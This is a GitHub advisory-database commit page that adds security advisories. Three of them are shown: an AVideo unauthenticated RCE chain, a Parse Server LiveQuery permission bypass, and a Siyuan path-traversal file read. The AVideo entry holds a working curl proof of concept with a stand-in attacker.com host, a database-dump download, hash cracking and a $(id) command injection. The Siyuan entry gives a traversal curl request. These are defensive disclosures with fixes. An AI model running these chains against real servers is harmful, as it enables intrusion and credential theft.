Skip to content

Commit 49218bb

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-687q-32c6-8x68 GHSA-fph2-r4qg-9576 GHSA-hhgj-gg9h-rjp7 GHSA-p3gr-g84w-g8hh GHSA-p747-qc5p-773r GHSA-vrqm-gvq7-rrwh GHSA-wc83-79hj-hpmq GHSA-xggw-g9pm-9qhh
1 parent 3b04e88 commit 49218bb

8 files changed

Lines changed: 490 additions & 0 deletions

File tree

‎advisories/github-reviewed/2026/03/GHSA-687q-32c6-8x68/GHSA-687q-32c6-8x68.json‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-687q-32c6-8x68",
4+
"modified": "2026-03-20T20:43:50Z",
5+
"published": "2026-03-20T20:43:50Z",
6+
"aliases": [
7+
"CVE-2026-33478"
8+
],
9+
"summary": "AVideo Multi-Chain Attack: Unauthenticated Remote Code Execution via Clone Key Disclosure, Database Dump, and Command Injection",
10+
"details": "## Summary\n\nMultiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The `clones.json.php` endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via `cloneServer.json.php`. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in `cloneClient.json.php` to execute arbitrary system commands.\n\n## Details\n\n### Step 1: Clone Key Disclosure\n\n`plugin/CloneSite/clones.json.php:1-8` has zero authentication:\n\n```php\n<?php\nrequire_once '../../videos/configuration.php';\nrequire_once $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php';\nheader('Content-Type: application/json');\n$rows = Clones::getAll();\n?>\n{\"data\": <?php echo json_encode($rows); ?>}\n```\n\nThe response includes the `key` field for every registered clone, which is the sole authentication credential for clone operations.\n\n### Step 2: Database Dump via Stolen Key\n\n`plugin/CloneSite/cloneServer.json.php:73-97` — once the key passes `Clones::thisURLCanCloneMe()`, the server executes `mysqldump` and writes the result to a web-accessible directory:\n\n```php\n$cmd = \"mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} \"\n .\" --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile\";\nexec($cmd . \" 2>&1\", $output, $return_val);\n```\n\nThe SQL file path is returned in the JSON response and is downloadable.\n\n### Step 3: Admin Credential Extraction\n\n`objects/user.php:1798` — passwords are stored as unsalted MD5:\n\n```php\n$passEncoded = md5($pass);\n```\n\nThe `users` table in the dump contains `user`, `password` (MD5), and `isAdmin` fields. MD5 hashes crack in seconds.\n\n### Step 4: Command Injection via Rsync\n\n`plugin/CloneSite/cloneClient.json.php:259` — the `videosDir` from the clone server response is interpolated unsanitized into the rsync command:\n\n```php\n$rsync = \"sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ...\";\nexec($cmd . \" 2>&1\", $output, $return_val);\n```\n\nAn admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the `videosDir` field.\n\n## PoC\n\n```bash\n# Step 1: Steal clone keys (unauthenticated)\ncurl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key'\n# Output: \"a1b2c3d4e5f6...\"\n\n# Step 2: Trigger database dump\nCLONE_KEY=\"a1b2c3d4e5f6...\"\ncurl -s \"http://target/plugin/CloneSite/cloneServer.json.php\" \\\n --data \"url=http://attacker.com&key=${CLONE_KEY}&useRsync=0\" | jq '.sqlFile'\n# Output: \"Clone_mysqlDump_1234567890.sql\"\n\n# Step 3: Download the dump and extract admin credentials\ncurl -s \"http://target/videos/clones/Clone_mysqlDump_1234567890.sql\" \\\n | grep -A2 \"INSERT INTO.*users\" \\\n | grep -oP \"admin','[a-f0-9]{32}\"\n# Output: admin','5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of \"password\")\n\n# Step 4: Crack MD5 (trivial)\necho -n \"5f4dcc3b5aa765d61d8327deb882cf99\" | hashcat -m 0 -a 0 rockyou.txt\n# Output: password\n\n# Step 5: Login as admin, configure CloneSite with malicious server\n# The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned)\n# When rsync executes, the $(id) is evaluated by the shell\n```\n\n## Impact\n\n- **Complete server compromise**: Unauthenticated attacker achieves arbitrary command execution as the web server user\n- **Full database disclosure**: The entire database (users, videos, configurations, secrets) is exfiltrated\n- **No user interaction**: Every step is automated, no clicks or social engineering required\n- **Credential theft**: All user passwords (MD5) are trivially recoverable\n- **Lateral movement**: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems\n\n## Recommended Fix\n\n1. **Add authentication to `clones.json.php`:**\n```php\n// plugin/CloneSite/clones.json.php\nrequire_once '../../videos/configuration.php';\nif (!User::isAdmin()) {\n http_response_code(403);\n die(json_encode(['error' => true, 'msg' => 'Admin required']));\n}\n```\n\n2. **Don't store SQL dumps in web-accessible directories** — use a path outside the web root or require re-authentication to download.\n\n3. **Upgrade password hashing** — replace MD5 with `password_hash()` (bcrypt/argon2):\n```php\n// Replace: $passEncoded = md5($pass);\n$passEncoded = password_hash($pass, PASSWORD_DEFAULT);\n```\n\n4. **Sanitize rsync command parameters** — use `escapeshellarg()` on all interpolated values:\n```php\n$rsync = sprintf(\"rsync -av ... %s@%s:%s ...\",\n escapeshellarg($objClone->cloneSiteSSHUser),\n escapeshellarg($objClone->cloneSiteSSHIP),\n escapeshellarg($json->videosDir)\n);\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "avideo/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-687q-32c6-8x68"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/WWBN/AVideo"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-284",
51+
"CWE-78"
52+
],
53+
"severity": "CRITICAL",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-03-20T20:43:50Z",
56+
"nvd_published_at": null
57+
}
58+
}

‎advisories/github-reviewed/2026/03/GHSA-fph2-r4qg-9576/GHSA-fph2-r4qg-9576.json‎

Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fph2-r4qg-9576",
4+
"modified": "2026-03-20T20:44:36Z",
5+
"published": "2026-03-20T20:44:36Z",
6+
"aliases": [
7+
"CVE-2026-33421"
8+
],
9+
"summary": "Parse Server's LiveQuery bypasses CLP pointer permission enforcement",
10+
"details": "### Impact\n\nParse Server's LiveQuery WebSocket interface does not enforce Class-Level Permission (CLP) pointer permissions (`readUserFields` and `pointerFields`). Any authenticated user can subscribe to LiveQuery events and receive real-time updates for all objects in classes protected by pointer permissions, regardless of whether the pointer fields on those objects point to the subscribing user. This bypasses the intended read access control, allowing unauthorized access to potentially sensitive data that is correctly restricted via the REST API.\n\n### Patches\n\nThe LiveQuery server now enforces pointer permissions on each event. After the existing check passes (which defers pointer permissions by design), the fix checks whether any configured pointer field on the object points to the subscribing user. Events for objects that don't match are silently skipped, consistent with how ACL mismatches are handled.\n\n### Workarounds\n\nUse ACLs on individual objects to restrict read access instead of relying solely on CLP pointer permissions. ACLs are enforced by LiveQuery.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "parse-server"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "9.0.0"
29+
},
30+
{
31+
"fixed": "9.6.0-alpha.42"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "parse-server"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"fixed": "8.6.53"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-fph2-r4qg-9576"
61+
},
62+
{
63+
"type": "WEB",
64+
"url": "https://github.com/parse-community/parse-server/pull/10250"
65+
},
66+
{
67+
"type": "WEB",
68+
"url": "https://github.com/parse-community/parse-server/pull/10252"
69+
},
70+
{
71+
"type": "PACKAGE",
72+
"url": "https://github.com/parse-community/parse-server"
73+
}
74+
],
75+
"database_specific": {
76+
"cwe_ids": [
77+
"CWE-863"
78+
],
79+
"severity": "HIGH",
80+
"github_reviewed": true,
81+
"github_reviewed_at": "2026-03-20T20:44:36Z",
82+
"nvd_published_at": null
83+
}
84+
}

‎advisories/github-reviewed/2026/03/GHSA-hhgj-gg9h-rjp7/GHSA-hhgj-gg9h-rjp7.json‎

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-hhgj-gg9h-rjp7",
4+
"modified": "2026-03-20T20:43:20Z",
5+
"published": "2026-03-20T20:43:20Z",
6+
"aliases": [
7+
"CVE-2026-33476"
8+
],
9+
"summary": "Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal",
10+
"details": "## Summary\n\nThe Siyuan kernel exposes an unauthenticated file-serving endpoint under **/appearance/*filepath.**\nDue to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.\n\nAuthentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.\n\n## Details\n\nVulnerable Code Location\n\n**File: kernel/server/serve.go**\n\n``` sh\nsiyuan.GET(\"/appearance/*filepath\", func(c *gin.Context) {\n filePath := filepath.Join(\n appearancePath,\n strings.TrimPrefix(c.Request.URL.Path, \"/appearance/\")\n )\n ...\n c.File(filePath)\n})\n```\n\n\n**Technical Root Cause**\n\nThe handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.\n\n**Key issues:**\n\n**1. Unsanitized User Input**\n\nThe path component extracted from the request is not validated or normalized to prevent traversal.\n\n``` sh\nstrings.TrimPrefix(c.Request.URL.Path, \"/appearance/\")\n``` \n\nThis preserves sequences such as:\n\n``` sh\n../\n..\\ (Windows)\n```\n\n**2. Unsafe Path Joining**\n\n**_filepath.Join()_** does not enforce directory confinement.\n\nThis escapes the intended directory.\n\n**3. Direct File Serving**\n\nThe resolved path is served without verification:\n\n``` sh\nc.File(filePath)\n``` \n\n### Authentication Bypass (Unauthenticated Access)\n\nAuthentication middleware explicitly skips /appearance/ requests.\n\n**File: session.go**\n``` sh\nif strings.HasPrefix(c.Request.RequestURI, \"/appearance/\") ||\n strings.HasPrefix(c.Request.RequestURI, \"/stage/build/export/\") ||\n strings.HasPrefix(c.Request.RequestURI, \"/stage/protyle/\") {\n c.Next()\n return\n}\n```\nThis allows attackers to access the vulnerable endpoint without a session or token.\n\n### Exploitation Scenario\n\nA remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.\n\nExample request:\n\n```\nGET /appearance/../../data/conf.json HTTP/1.1\nHost: target\n\n```\nBecause authentication is bypassed, the attack requires no credentials.\n\n\n\n\n## PoC\n\n**Step 1 — Create marker file**\n\n```\nmkdir -p ./workspace/data\necho POC_EXPLOITED > ./workspace/data/poc_exploit.txt\n```\n\n**Step 2 — Run SiYuan container**\n\n```\ndocker run -d \\\n -p 6806:6806 \\\n -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan \\\n --workspace=/siyuan/workspace\n\n```\n\n**Step 3 — Confirm service works**\n\nOpen in browser:\n\n``` sh\nhttp://127.0.0.1:6806\n```\n\n### Exploit PoC\n**Method A — using CURL command**\n\nUse --path-as-is so curl does NOT normalize ../.\n\n``` sh\ncurl -v --path-as-is \\\n \"http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt\"\n```\n\n**Output** \n\n``` sh\nHTTP/1.1 200 OK\nPOC_EXPLOITED\n```\n\n**Method B — Using Browser**\n\n``` sh\nhttp://127.0.0.1:6806/appearance/../../data/poc_exploit.txt\n```\n\nIf **method B** is not working, use **method A**, which is CURL command to do the exploit\n\n\n### Impact\n\nAn unauthenticated attacker can read arbitrary files accessible to the server process, including:\n\n- Workspace configuration files\n- User notes and stored data\n- API tokens and secrets\n- Local system files (depending on permissions)\n\nThis may lead to:\n\n- Sensitive information disclosure\n- Credential leakage\n- Further compromise through exposed secrets",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/siyuan-note/siyuan/kernel"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "0.0.0-20260317012524-fe4523fff2c8"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hhgj-gg9h-rjp7"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/siyuan-note/siyuan/commit/009bb598b3beccc972aa5f1ed88b3b224326bf2a"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/siyuan-note/siyuan"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-22",
55+
"CWE-73"
56+
],
57+
"severity": "HIGH",
58+
"github_reviewed": true,
59+
"github_reviewed_at": "2026-03-20T20:43:20Z",
60+
"nvd_published_at": null
61+
}
62+
}

0 commit comments

Comments
 (0)